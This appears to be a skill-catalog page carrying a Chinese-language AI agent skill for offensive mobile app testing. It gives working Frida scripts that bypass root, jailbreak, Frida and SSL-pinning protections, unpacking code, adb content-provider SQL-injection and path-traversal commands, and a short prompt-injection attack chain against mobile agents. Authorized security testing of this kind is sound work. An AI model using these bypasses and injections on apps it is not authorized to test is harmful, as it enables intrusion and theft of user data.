移动应用安全深度测试技能
SkillSecurity移动应用安全深度测试专业技能(v3.0):移动端深层攻击链(App→API→后端→云)、Android/iOS深度逆向与动态调试、Frida全面对抗与加固脱壳、iOS越狱检测绕过/ObjC Runtime/LLDB调试/证书固定绕过、跨平台框架漏洞(Flutter/React Native/uni-app/小程序)、移动端存储密钥(Keystore/Keychain/硬编码)、WebView与深链/IPC攻击面、移动端AI应用攻击面(端侧LLM/Agent提示注入/隐私数据)、AI大模型辅助逆向与API调用链分析、供应链SDK投毒与云凭据、模拟器/root/越狱检测绕过,从信息收集到漏洞利用完整攻击链
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the 移动应用安全深度测试技能 skill
What this skill tells your AI
The instructions your AI receives, as published by langbyyi/cyberstrikeai-src in skills/mobile-app-security-testing/SKILL.md and read by ahel’s review.
AI LOAD INSTRUCTION: 移动应用安全测试专家打法(Android/iOS 双平台)。聚焦静态→动态→加固脱壳对抗→抓包→跨平台框架→端侧 AI 面的阶段决策;脱壳 dump 与 so 逆向细节交给 binary-mobile-reversing 细分包。
概述
移动应用是企业数字资产的"最后一公里",攻击面横跨客户端安全→数据存储→网络通信→后端API→云基础设施全栈。本技能 v3.0 站在资深攻防/红队专家视角,系统化覆盖信息收集→APK/IPA逆向→静态/动态分析→Hook注入→脱壳对抗→抓包调试→跨平台逆向→AI应用攻击面→供应链→API与云渗透→完整深层攻击链,并首次引入 AI 大模型结合维度(AI 辅助逆向、AI 驱动 API 调用链分析、移动端大模型应用攻击面)。
核心概念
- 移动端深层攻击链:
App客户端 → 逆向/抓包 → 后端API → 云基础设施,任一环节失守即可串联成完整入侵链(如:逆向提取硬编码云密钥 → 直接访问生产 S3/数据库) - 攻击面分层模型:客户端(代码/存储/组件)→ 传输层(TLS/pinning)→ 服务端(API/认证/IDOR)→ 云(凭据/存储桶/函数)
- MASVS / MASTG:OWASP 移动应用安全验证标准(MASVS)与测试指南(MASTG)是测试分级的行业基线(L1/L2)
- 对抗性测试三要素:绕过能力(root/越狱/模拟器检测)、逆向能力(脱壳/反混淆)、持久化能力(Hook 存活/防杀)
- 信任边界:移动端一切"客户端安全"最终都是可被攻破的——安全重心必须放在服务端,客户端只能做纵深防御
- AI 新范式:AI 已进入移动应用内(端侧 LLM/Agent、AI 助手),提示注入(OWASP LLM01)成为移动端新高危面
2025-2026 威胁态势(情报基线)
- Quokka《The State of Mobile App Security 2026》(分析 15 万应用):94.3% 的 Android 应用存在 HTTP URL、47.8% 的 Android 应用硬编码密码学密钥(iOS 17.6%)、50+ 应用在二进制中硬编码 AWS 凭据、11% Android/13% iOS 应用存在第三方组件严重 CVE
- Zimperium《2026 Global Mobile Threat Report》:移动应用内 AI 集成量 Android 增长 14x/iOS 增长 7x("影子 AI"盲区爆发)、间谍软件出现在近 1/10 设备(同比 4x)、AI 辅助开发(vibe coding)预计 2027 年 25% 缺陷源于 AI 生成代码
- OWASP LLM Top 10(2025):提示注入(LLM01)、敏感信息泄露(LLM02)、供应链(LLM03)、数据/模型投毒(LLM04)、过度代理权(LLM06)等已可映射到移动端 AI 应用
- 移动 LLM Agent 实证研究(arXiv 2510.27140):对 8 款主流移动 Agent(如 AppAgent 系)的 2000+ 次对抗测试中,广告等低门槛向量成功率超 80%,恶意软件安装等跨应用工作流可稳定完成
- iOS 26 / Android 16 时代:iOS 26 引入硬件级内存完整性强制(MIE,A19/M5)、背景安全改进(BSI);Android 16 强化身份核验(Identity Check)、端侧 AI 诈骗检测;系统安全水位提升,应用层漏洞成为主战场
一、攻防全景:移动端深层攻击链与核心概念
1.1 深层攻击链全景(App→API→后端→云)
移动端测试绝非"只测客户端",红队思维要求沿整条链纵深突破:
┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ 移动客户端 │──▶│ 后端 API │──▶│ 后端应用 │──▶│ 云基础设施 │
│ 逆向/抓包/Hook│ │ 认证/参数/IDOR│ │ Web漏洞/逻辑 │ │ 凭据/存储桶 │
└─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘
实战攻击链示例(按高危到低危):
链1(云凭据链): 逆向APK → jadx发现硬编码AWS AccessKey → 枚举S3桶 → 读取生产数据库备份 → 全量数据泄露
链2(越权链): 抓包获取JWT → 篡改userId/role字段 → IDOR横向遍历用户数据 → 提权至管理员
链3(供应链链): 应用集成恶意SDK(如EngageSDK类Intent Redirection)→ 同设备恶意App触发 → 窃取钱包/支付数据
链4(AI链): 移动Agent读取截图 → 隐形屏幕文本提示注入 → Agent执行恶意指令 → 外发隐私数据
各环节高频漏洞速查表:
| 环节 | 高频漏洞 | 实战验证手法 |
|---|---|---|
| 客户端 | 硬编码密钥/AWS凭据、明文存储、WebView RCE、深链劫持 | jadx搜索、Frida hook、adb触发 |
| 传输层 | 明文HTTP、无pinning、弱TLS、mTLS证书泄露 | Burp抓包、SSL Kill Switch、证书提取 |
| API | 未授权接口、JWT/Token伪造、IDOR、参数篡改、GraphQL过度查询 | 重放、改包、批量遍历、GraphQL introspection |
| 后端 | SQL注入、SSRF、文件上传、逻辑漏洞 | Web漏扫+手工验证 |
| 云 | 云密钥泄露、存储桶公开、函数未鉴权 | 凭据扫描、桶枚举、函数调用 |
1.2 测试方法学(五阶段)
阶段1 信息收集: 获取APK/IPA → 指纹识别(框架/加固/语言)→ 资产梳理(API域名/端口)
阶段2 静态分析: 反编译 → 代码审计(密钥/逻辑/API端点)→ Manifest/plist/组件分析
阶段3 动态分析: 抓包 → Hook/调试 → 脱壳 → 功能遍历 → 数据存储检查
阶段4 服务端测试: API枚举 → 认证/越权/注入测试 → 云凭据验证
阶段5 攻击链串联: 将单点漏洞组装为完整攻击链 → 评估实际影响 → 输出报告
二、Android 静态逆向与组件攻击面
2.1 APK 解包与基础静态分析
# 解包与反编译
apktool d app.apk -o output # 资源+smali反汇编
jadx -d output_src app.apk # Java反编译(推荐jadx-gui)
unzip -l app.apk # 查看结构
# 查看签名/证书
keytool -printcert -jarfile app.apk
# Native库清单
ls lib/arm64-v8a/ lib/armeabi-v7a/ # .so文件 → Ghidra/IDA分析
# 快速敏感信息扫描
grep -rE "(api[_-]?key|secret|password|token|aws_access|AKIA)" output_src --include="*.java" -i
strings lib/arm64-v8a/*.so | grep -iE "api_key|secret|BEGIN RSA|private"
2.2 AndroidManifest.xml 深度审计
<!-- 高危配置检查清单 -->
<application
android:debuggable="true" <!-- 可调试 → adb调试器直连 -->
android:allowBackup="true" <!-- 可备份 → adb backup导出数据 -->
android:usesCleartextTraffic="true"><!-- 明文HTTP -->
<application android:networkSecurityConfig="@xml/network_security_config">
<!-- 关注: 自定义network_security_config是否放行user证书(测试发现pinning失效点) -->
<!-- 组件导出 -->
<activity android:exported="true"> <!-- 任意App可启动 -->
<service android:exported="true"> <!-- 任意App可绑定/启动 -->
<receiver android:exported="true"> <!-- 任意App可发广播 -->
<provider android:exported="true" android:grantUriPermissions="true">
<!-- 关注: 导出的Provider + grantUriPermissions → URI授权绕过 -->
<!-- 权限滥用 -->
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <!-- 悬浮窗(钓鱼/Agent攻击) -->
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/> <!-- 无障碍(截取输入) -->
# 组件攻击验证
adb shell am start -n com.target/.ExportedActivity --es key "payload"
adb shell am startservice -n com.target/.ExportedService
adb shell am broadcast -a com.target.ACTION --es data "malicious"
adb shell content query --uri content://com.target.provider/data
2.3 Content Provider 攻击面(重点深化)
Content Provider 是 Android 中常被低估的攻击面,可导致任意文件读取、SQL注入、越权数据访问:
# 枚举导出的Provider
adb shell dumpsys package com.target | grep -A5 "ContentProvider"
# 或反编译后从Manifest提取
# SQL注入(投影/选择参数注入)
adb shell content query --uri content://com.target.provider/users \
--projection "* FROM users--"
adb shell content query --uri content://com.target.provider/users \
--where "1=1 OR 1=1"
# 文件读取(provider实现openFile时)
adb shell content read --uri content://com.target.provider/../../../../etc/hosts
# 路径穿越测试: 尝试 ../ 或 file:// 组合
# grantUriPermission 绕过(授权URI被转发给不可信组件)
adb shell am start -n com.target/.VictimActivity -e "uri" "content://com.target.provider/secret"
Provider 漏洞挖掘要点: query()/insert()/update()/delete()/openFile()/call() 六个入口全测;关注 openFile 是否校验文件名(路径穿越)、call 方法是否可被外部触发任意函数、返回 CursorWindow 是否过度暴露字段。
2.4 插件化与动态加载攻击面
插件化架构(宿主+插件)是国产应用常见形态,引入额外攻击面:
- 动态加载 DEX/APK:
DexClassLoader/PathClassLoader从files/、/sdcard加载外部代码 → 检查加载源是否可被篡改(文件替换→代码执行) - 双亲委派绕过:自定义 ClassLoader 破坏委派模型 → 类冲突、恶意类抢先加载
- 插件签名校验缺失:仅校验宿主角色的插件可被替换 → 植入恶意插件
- 加固场景叠加:动态加载的 DEX 不在双亲委派链上,FART 等脱壳工具默认不覆盖 → 需用 Frida
Java.enumerateClassLoaders+fartwithClassloader(见第四章)
# 检测动态加载点
grep -rE "DexClassLoader|PathClassLoader|loadDex" output_src --include="*.java"
# 监控运行时加载
frida -U -f com.target -l - <<'EOF'
Java.perform(function(){
var DCL = Java.use("dalvik.system.DexClassLoader");
DCL.$init.overload('java.lang.String','java.lang.String','java.lang.String','java.lang.ClassLoader')
.implementation = function(path,odex,lib,parent){
console.log("[DEX] loaded: " + path);
return this.$init(path,odex,lib,parent);
};
});
EOF
2.5 深链(Deep Link)与 Intent 攻击面
- 深链劫持:自定义 scheme(
myapp://)无android:autoVerify,恶意 App 注册同名 scheme 抢先接收 → token/回调参数泄露 - Intent Redirection:应用将收到的 Intent 原样转发给其他组件,攻击者借应用身份与权限触发恶意行为(2026-04 Microsoft 披露 EngageSDK 漏洞影响 3000 万+ 钱包应用)
- Intent 注入:
PendingIntent、getParcelableExtra反序列化 Intent 不当 → 越权操作
# 深链触发测试
adb shell am start -W -a android.intent.action.VIEW -d "myapp://auth?token=ATTACKER_TOKEN"
adb shell am start -W -a android.intent.action.VIEW -d "myapp://payment?amount=9999"
# 未校验来源/参数 → 可能直接处理支付/转账等敏感动作
# 枚举已注册scheme
adb shell dumpsys package com.target | grep -A20 "scheme"
三、Android 动态分析:Frida 全面对抗与检测绕过
3.1 Frida 基础与常用 Hook 矩阵
# 环境搭建(客户端-服务端版本必须一致)
pip install frida-tools
adb push frida-server-<ver>-android-arm64 /data/local/tmp/frida-server
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
frida-ps -U # 验证连接
# 两种启动模式
frida -U -f com.target -l hook.js # spawn模式(冷启动,先于app代码执行)
frida -U -n com.target -l hook.js # attach模式(热附加)
核心 Hook 脚本模板(加密函数监控):
// hook.js: 密码学函数全景监控
Java.perform(function() {
// Cipher算法监控
var Cipher = Java.use("javax.crypto.Cipher");
Cipher.getInstance.overload("java.lang.String").implementation = function(algo) {
console.log("[Cipher] algo=" + algo);
return this.getInstance(algo);
};
Cipher.doFinal.overload("[B").implementation = function(input) {
console.log("[Cipher] doFinal in=" + hexdump(input));
var ret = this.doFinal(input);
console.log("[Cipher] doFinal out=" + hexdump(ret));
return ret;
};
// AES密钥/IV抓取
var SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
SecretKeySpec.$init.overload("[B","java.lang.String").implementation = function(key, algo) {
console.log("[AES-KEY] " + algo + " key=" + bytesToHex(key));
return this.$init(key, algo);
};
// Base64日志
var B64 = Java.use("android.util.Base64");
B64.encodeToString.overload("[B","int").implementation = function(input, flags) {
console.log("[B64] " + Java.use("java.lang.String").$new(input));
return this.encodeToString(input, flags);
};
});
function bytesToHex(bytes) { var h=""; for(var i=0;i<bytes.length;i++){h+=("0"+(bytes[i]&0xff).toString(16)).slice(-2);} return h; }
function hexdump(b) { var s=""; for(var i=0;i<b.length;i++){s+=("0"+(b[i]&0xff).toString(16)).slice(-2);} return s; }
Objection(免root/快速评估):
objection -g com.target explore
android sslpinning disable
android root disable
android keystore list
android hooking list activities
3.2 Frida 特征检测手段(知己知彼)
现代加固/金融 App 普遍内置 Frida 检测,识别以下特征:
| 检测维度 | 检测原理 | 绕过方法 |
|---|---|---|
| 文件扫描 | 扫描 /data/local/tmp/ 等目录下 frida-server 文件名 | 重命名+迁移目录 |
| 进程扫描 | ps -A 匹配 frida-server/frida-helper 等进程名 | 重命名 |
| 端口检测 | netstat 检测 27042/27043 监听 | -l 指定随机端口 + adb forward |
| D-Bus 协议 | 遍历端口发 D-Bus 握手,匹配 REJECT 响应 | HLuda 魔改版/改通信协议 |
| 内存特征 | 扫描进程内存 frida:rpc、gum-js-loop 字符串 | HLuda(二进制改名) |
/proc/self/maps | 检测 frida-agent 注入的匿名可执行段 | 注入方式改造(Zygisk Gadget) |
| ptrace 自占坑 | 启动早期 ptrace(PTRACE_TRACEME) 阻止附加 | spawn 模式 + hook ptrace 返回0 |
| 时序/线程检测 | Native 层监控线程周期性验证 | 定位并 patch pthread_create |
3.3 Frida 反检测实战绕过
# 方案1: 自定义端口 + USB转发(避开27042扫描)
adb shell "/data/local/tmp/fs -l 0.0.0.0:8888 &"
adb forward tcp:8888 tcp:8888
frida -H 127.0.0.1:8888 -f com.target -l hook.js
// 方案2: hook ptrace 绕过TRACEME(spawn模式必做)
// 目标App在自己代码执行前调用ptrace(TRACEME),Frida先进场后将其静默
var ptrace = Module.findExportByName("libc.so", "ptrace");
Interceptor.replace(ptrace, new NativeCallback(function(request, pid, addr, data) {
console.log("[ptrace] blocked request=" + request);
return 0; // 假装成功,实际不执行 → App检测不到被附加
}, "long", ["int", "int", "pointer", "pointer"]));
// 方案3: hook文件/进程/字符串检测(通用对抗)
Java.perform(function(){
// 屏蔽 frida 关键字文件探测
var File = Java.use("java.io.File");
File.exists.implementation = function(){
var p = this.getAbsolutePath();
if (/frida|\.fs|agent/i.test(p)) { console.log("[BYPASS] File.exists: "+p); return false; }
return this.exists();
};
// 屏蔽 Runtime.exec 中的 frida 探测命令
var Rt = Java.use("java.lang.Runtime");
Rt.exec.overload("[Ljava.lang.String;").implementation = function(cmd){
if (cmd.join(" ").match(/frida|netstat|ps -A|/i)) { console.log("[BYPASS] exec: "+cmd); return null; }
return this.exec(cmd);
};
// Native层: hook strstr/fopen 过滤frida特征(配合Interceptor)
});
# 方案4: Zygisk Frida Gadget(系统级注入,最难检测,2025实战主流)
# Magisk + LSPosed + Zygisk Frida Gadget模块(sucsand),app无感知注入
# 方案5: HLuda(魔改版Frida,全量特征改名,对抗深度检测)
3.4 Root 检测与绕过
检测手段: su 二进制路径探测、Runtime.exec("su")、Magisk 包名(com.topjohnwu.magisk)探测、test-keys 构建标志、/system 挂载 rw、SELinux 状态、Play Integrity API(替代 SafetyNet 的硬件级认证)、ro.debuggable 属性。
绕过组合拳:
1. 设备侧: Magisk DenyList(对目标App隐藏root,推荐)+ MagiskHide Props Config(还原build属性)
2. Hook侧: 见3.3通用对抗脚本(File.exists/Runtime.exec/getPackageInfo)
3. API侧: hook Play Integrity API回调 / 使用Play Integrity API测试工具伪造认证结果
4. 签名侧: 检测test-keys → 使用官方签名ROM或hook Build.TAGS
// Play Integrity/SafetyNet 常见绕过点
Java.perform(function(){
// 业务层自定义isRooted
Java.enumerateLoadedClasses({onMatch:function(c){
if (/root|integrity|safetynet/i.test(c)) console.log("[CLS] "+c);
},onComplete:function(){}});
// 常用: 找业务自实现的检测类,直接改返回值为false
});
3.5 模拟器检测与对抗
检测维度: ro.kernel.qemu=1、Build 属性(sdk/goldfish/ranchu)、QEMU 特征文件(/dev/socket/qemud、libc_malloc_debug_qemu.so)、传感器缺失(加速度计/陀螺仪无数据)、TelephonyManager 返回空(IMEI/IMSI)、CPU 指令特征(x86 vs arm64)。
绕过矩阵:
| 检测类型 | 绕过方法 |
|---|---|
| Build 属性 | 修改 build.prop(ro.product.model=SM-G960F);Magisk 模块替换;hook Build 类 |
| QEMU 特征 | ro.kernel.qemu=0;删除/重命名特征文件;hook 文件访问 API |
| 传感器 | 启用虚拟传感器(Android Studio AVD);hook SensorManager 伪造数据 |
| IMEI/设备ID | 模拟器设置自定义 IMEI;hook TelephonyManager.getDeviceId();hook RIL |
| CPU 特征 | 使用 ARM 镜像(arm64-v8a 镜像而非 x86)从根源消除大部分特征 |
| 调试痕迹 | 关闭 ro.debuggable、移除 adb 默认开着的端口转发 |
# 检测当前环境是否被App标记(观察崩溃/功能隐藏)
adb logcat | grep -iE "emulator|qemu|root|jailbreak|integrity"
3.6 Native 层动态调试
# 方案A: IDA/Ghidra 远程调试(配合脱壳后的so)
adb push android_server /data/local/tmp/ # IDA的android_server
adb shell "chmod 755 /data/local/tmp/android_server && /data/local/tmp/android_server &"
adb forward tcp:23946 tcp:23946
# IDA → Debugger → Attach → Remote ARM Linux/Android Debugger → localhost:23946
# 方案B: lldb-server 调试
adb push lldb-server /data/local/tmp/
adb shell "/data/local/tmp/lldb-server platform --server --listen unix-abstract:///tmp/lldb &"
# 方案C: Frida Native Hook(常用)
frida -U -f com.target -l native_hook.js
// native_hook.js: hook native导出函数与inline
// hook 导出
var func = Module.findExportByName("libnative.so", "native_check_sign");
if (func) {
Interceptor.attach(func, {
onEnter: function(args){ console.log("[native] check_sign called"); },
onLeave: function(ret){ console.log("[native] check_sign ret=" + ret); ret.replace(0); }
});
}
// hook 未导出函数: 先读IDA中偏移,base+offset 计算绝对地址
// var target = Module.findBaseAddress("libnative.so").add(0x12345);
四、Android 加固脱壳全解析
4.1 加固壳识别
# 方法1: 查看Application类/入口
jadx-gui app.apk | grep "android:name=\".*Application\"" # 若指向壳类(如com.secneo.apkwrapper.ApplicationWrapper)
# 方法2: 查看assets/lib中的壳特征
unzip -l app.apk | grep -iE "secneo|ijiami|bangcle|qqpim|libprotect|libshell|libDexHelper"
# 方法3: 运行观察
adb logcat | grep -iE "decrypt|unpack|shell|protect"
# 常见壳特征速查
# 腾讯乐固: libshella-*.so / libshellx-*.so / assets/tosversion
# 360加固: libjiagu.so / libjiagu_64.so / assets/jiagu
# 梆梆加固: libSecShell.so / libDexHelper.so
# 爱加密: libexec.so / libexecmain.so / ijiami.dat
# 网易易盾: libnesec.so
# DexProtector: 自定义so + 强完整性校验
4.2 脱壳方法论(按强度递进)
# 方案1: 内存Dump(最通用,frida-dexdump)
pip install frida-dexdump
frida-dexdump -U -f com.target -o dump/ # dump运行内存中所有dex
# 方案2: FART主动调用脱壳(Android源码级,需要定制ROM)
# FART在DexFile中新增dumpMethodCode等方法,对加固后的类主动调用实现"函数级脱壳"
# 配合Frida增强: 枚举所有ClassLoader → 对动态加载的dex逐个调用fartwithClassloader
frida -H 127.0.0.1:1234 -F -l fart_all_classloaders.js
# 注: 局部变量的ClassLoader会被GC/不可枚举 → 需在创建点立即dump
# 方案3: BlackDex / DexExtractor(Xposed模块,拖拽式脱壳)
# 方案4: 定制ROM + frida脱壳机(对VMP壳前的多代dex整体处理)
fart_all_classloaders.js(Frida 增强 FART 处理动态加载 dex):
Java.perform(function () {
var ActivityThread = Java.use("android.app.ActivityThread");
Java.enumerateClassLoaders({
onMatch: function (loader) {
try {
if (loader.toString().includes("BootClassLoader")) return;
console.log("[*] fartwithClassloader -> " + loader);
ActivityThread.fartwithClassloader(loader);
} catch (e) { console.log("[-] " + e); }
},
onComplete: function () { console.log("[*] done"); }
});
});
4.3 加固对抗(壳的反脱壳防御与破解)
2025 年主流壳已内置反 Frida/反 FART/完整性校验三重防御,实战流程:
1. 反调试识别: logcat观察崩溃时机 → 确认检测线程来源
2. 定位检测so: hook android_dlopen_ext观察哪个so被加载
3. 阻断检测线程: hook pthread_create,对来自壳so(pthread_create caller在libexec.so内)的线程创建直接返回0
4. 绕过完整性校验: 定位xxHash/SHA256/HMAC校验点 → "等式化替换"(让校验恒通过)
5. 匿名段转储: 从JNI_OnLoad→函数指针→匿名可执行段,结合/proc/self/maps dump未导出代码
6. 修复: IDA补区段、引android_arm64类型库,梳理RegisterNatives动态注册链
// 核心对抗脚本: 阻断壳so创建检测线程 + 屏蔽dlopen路径暴露
var dlopen_ext = Module.findExportByName(null, "android_dlopen_ext");
if (dlopen_ext) Interceptor.attach(dlopen_ext, {
onEnter: function(args){ console.log("[dlopen] " + args[0].readCString()); }
});
// 关键: 壳so(如libexec.so)创建的检测线程,直接拦截pthread_create
var pt = Module.findExportByName(null, "pthread_create");
var orig = new NativeFunction(pt, "int", ["pointer","pointer","pointer","pointer"]);
Interceptor.replace(pt, new NativeCallback(function(a,b,c,d){
var caller = Process.findModuleByAddress(this.returnAddress);
var mods = ["libexec.so","libexecmain.so","libprotect.so"];
if (caller && mods.indexOf(caller.name) >= 0) {
console.log("[BYPASS] block pthread_create from " + caller.name);
return 0; // 丢弃检测线程
}
return orig(a,b,c,d);
}, "int", ["pointer","pointer","pointer","pointer"]));
4.4 VMP / so 加固 / 反混淆
- VMP(虚拟化保护):核心逻辑转译为自定义字节码 → 静态无解,需内存 dump + Unidbg 模拟执行(
com.github.zhkl0228:unidbg可在 PC 端模拟 ARM so 逐步 trace) - so 加固(UPX/自定义加密):
upx -d解压;自定义壳需init_array解密点分析 - 字符串加密/控制流平坦化:Ghidra 插件(DeFlat)、
frida-dexdump后的代码修复 - 检测"是否已脱壳"的壳:完整性校验(对 DEX/SO 做 hash/HMAC)→ 用 4.3 的等式化替换;对"内存段基址校验" → 复制干净 text 段并用干净副本地址过检
五、iOS 深度逆向:Mach-O / LLDB / Objective-C Runtime
5.1 IPA 静态分析
# IPA解包(本质是zip)
unzip app.ipa -d output
# 结构: Payload/MyApp.app/{MyApp(二进制), Info.plist, embedded.mobileprovision, Frameworks/}
# Mach-O分析
otool -l Payload/MyApp.app/MyApp | grep -A4 LC_ENCRYPTION_INFO # 是否App Store加密
otool -l Payload/MyApp.app/MyApp | grep -E "LC_SEGMENT_64|__TEXT|__DATA" # 段信息
otool -L Payload/MyApp.app/MyApp # 依赖动态库
nm -gU Payload/MyApp.app/MyApp # 导出符号
# ObjC类导出
class-dump Payload/MyApp.app/MyApp > classes.h # 全类/方法/属性
# Swift: swift demangle / swift-class-dump / 直接Hopper/IDA/Ghidra
# Info.plist审计
/usr/libexec/PlistBuddy -c Print Payload/MyApp.app/Info.plist
# 关注: URL Schemes / App Transport Security(NSAllowsArbitraryLoads) / 权限描述 / 第三方SDK(如Apple Intelligence接入)
# 证书与权限
security cms -D -i Payload/MyApp.app/embedded.mobileprovision # 查看entitlements
# 关注: keychain-access-groups(越权访问他人Keychain) / get-task-allow(可调试) / aps-environment
5.2 Objective-C Runtime 与 Method Swizzling
Objective-C 的运行时特性(动态消息分发)使其天生适合 Hook,也天然暴露攻击面:
# 运行时类/方法枚举
class-dump MyApp > classes.h # 离线
# 在线枚举(已运行进程)
frida-ps -Ua
frida -U -n MyApp -l enum.js
// enum.js: 枚举全部类/方法 + 追踪objc_msgSend
// 方案A: Frida ObjC API
if (ObjC.available) {
for (var clsName in ObjC.classes) {
var cls = ObjC.classes[clsName];
if (/Login|Auth|Token|Key|Crypto|Network/i.test(clsName)) {
console.log("[*] " + clsName);
var methods = cls.$ownMethods;
methods.forEach(function(m){ if (/secret|token|key|password|auth/i.test(m)) console.log(" " + m); });
}
}
}
// 方案B: hook objc_msgSend 全量消息追踪(性能开销大,定向用)
// var objc_msgSend = Module.findExportByName(null, "objc_msgSend");
// Interceptor.attach(objc_msgSend, { onEnter: function(args){
// var sel = new ObjC.Object(args[1]).toString();
// if (/token|key|decrypt/i.test(sel)) console.log("[msgSend] " + sel);
// }});
// 方案C: 直接hook指定方法(含参数读取)
var LoginVC = ObjC.classes.LoginViewController;
if (LoginVC) {
Interceptor.attach(LoginVC['- storeCredentials:password:'].implementation, {
onEnter: function(args){
var pwd = new ObjC.Object(args[3]);
console.log("[*] password = " + pwd.toString());
}
});
}
Method Swizzling(运行时方法交换):
// 传统tweak方式(Theos/Logos): %hook + %orig
%hook NSURLSession
- (void)dataTaskWithRequest:(NSURLRequest *)request completionHandler:(id)handler {
%orig; // 执行原逻辑
}
%end
// 攻击面: 若App对第三方SDK的方法依赖swizzle做安全校验(如hook UITextField取明文),
// 攻击者同样可swizzle安全相关方法使其失效
5.3 LLDB 动态调试
# 越狱设备: 远程附加
# 1. 设备上启动debugserver(/Developer/usr/bin/debugserver,需codesign重签+get-task-allow)
debugserver 0.0.0.0:1234 -a MyApp
# 2. 电脑端转发并连接
iproxy 1234 1234 &
lldb
(lldb) process connect connect://localhost:1234
# 常用调试指令
(lldb) image list # 已加载镜像
(lldb) image lookup -n "-[LoginVC login:]" # 按方法名查地址
(lldb) breakpoint set --selector login: # 按selector下断点
(lldb) po $r0 # 打印第1参数(ObjC self)
(lldb) po (char*)$r1 # 打印selector
(lldb) memory read --size 8 --count 16 0x100000000 # 读内存
(lldb) image dump symtab MyApp # 导出符号表
(lldb) expression -l objc -O -- [UIApplication sharedApplication] # 执行ObjC表达式
LLDB 攻防要点: 反调试(ptrace/sysctl P_TRACED 检测)→ hook ptrace 返回0;get-task-allow 缺失则无法调试(重签名处理)。
5.4 加密、签名与重打包
# App Store分发版: 二进制LC_ENCRYPTION_INFO加密 → 需解密(越狱环境dump解密后的内存镜像再修复)
# 或使用砸壳工具(frida-ios-dump / dumpdecrypted)
pip install frida-ios-dump
dump.py com.target.app # 自动砸壳+导出
# 重签名(篡改后安装)
codesign -f -s "证书" --entitlements ent.plist Payload/MyApp.app/MyApp
# 注意: 重签名后Provisioning Profile的device名单/entitlements必须匹配
六、iOS 越狱检测绕过与证书固定绕过
6.1 越狱检测原理(识别维度)
1. 文件检测: /Applications/Cydia.app、/bin/bash、/etc/ssh/sshd_config、/usr/sbin/sshd、/usr/lib/substrate/
2. 写权限检测: 尝试在沙箱外(/private/ 等)写文件
3. 进程检测: Cydia、Sileo、frida-server等进程
4. 动态库检测: _dyld_image_count、检查已加载dylib是否含substrate/Frida
5. 系统调用: fork()/system() 是否被拦截、ptrace(P_TRACED) 反调试
6. 环境变量: DYLD_INSERT_LIBRARIES
6.2 越狱检测绕过
# 方案1: Objection一键
objection -g com.target explore
ios jailbreak disable
# 方案2: Frida定向hook(顽固应用)
// jailbreak_bypass.js
if (ObjC.available) {
// 屏蔽文件检测
var NSFileManager = ObjC.classes.NSFileManager;
var origExists = NSFileManager["- fileExistsAtPath:"];
Interceptor.attach(origExists.implementation, {
onEnter: function(args) {
var path = ObjC.Object(args[2]).toString();
this.blocked = /Cydia|substrate|ssh|Sileo|frida/i.test(path);
if (this.blocked) console.log("[JB] block check: " + path);
},
onLeave: function(retval) { if (this.blocked) retval.replace(0); }
});
// 屏蔽 _dyld_image 检测
var dyld = Module.findExportByName(null, "_dyld_image_count");
Interceptor.attach(dyld, { onLeave: function(ret){ /* 若App遍历镜像名匹配 */ } });
// 屏蔽 fork/access 等
}
# 方案3: 越狱App安装时使用 RootHide/Dopamine 等"隐身越狱"环境,从根源规避
# 方案4: 结合system-log分析(idevicesyslog)定位崩溃点再定向绕过
idevicesyslog | grep -iE "jailbreak|debug|frida|denied"
6.3 证书固定(SSL Pinning)绕过
iOS 证书固定实现层:NSURLSession delegate(URLSession:didReceiveChallenge:)、SecTrustEvaluateWithError(底层)、TrustKit 库、Alamofire/AFNetworking。
# 方案1: Objection一键
ios sslpinning disable
# 方案2: SSLKillSwitch2(Cydia插件,系统级patch,库不可用时的兜底)
# Cydia源: https://julioverne.github.io
# 方案3: Frida自定义hook(三层全覆盖)
// ios_ssl_bypass.js
if (ObjC.available) {
// 层1: NSURLSession delegate 挑战处理
var NSURLSession = ObjC.classes.NSURLSession;
// 层2: 底层 SecTrustEvaluateWithError
var secTrust = Module.findExportByName(null, "SecTrustEvaluateWithError");
if (secTrust) Interceptor.replace(secTrust, new NativeCallback(function(trust, error){
return 1; // 恒通过
}, "int", ["pointer", "pointer"]));
// 层3: TrustKit
var TrustKit = ObjC.classes.TrustKit;
if (TrustKit) { /* hook TrustKit.sharedInstance → 返回空/nil */ }
}
6.4 非越狱设备测试路径
1. 侧载调试版: 用开发者证书重签 + get-task-allow entitlement → 可LLDB调试
2. Frida Gadget: 将frida-gadget.dylib注入Frameworks并配置加载(重签安装)
3. 云端真机: Corellium(虚拟iOS真机,支持越狱/非越狱双模式,A9-A16)
4. 静态先行: 非越狱下优先做静态分析+class-dump+IPA审计,动态部分移步越狱环境
七、移动端抓包与流量分析
Shortened here. Read the whole file on GitHub.
Signals
- GitHub stars
- 115
- Forks
- 4
- Last commit
- Sep 2026
Advanced
- Catalog kind
- skill
- Gateway key
mobile-app-security-testing- Source
- github.com/langbyyi/cyberstrikeai-src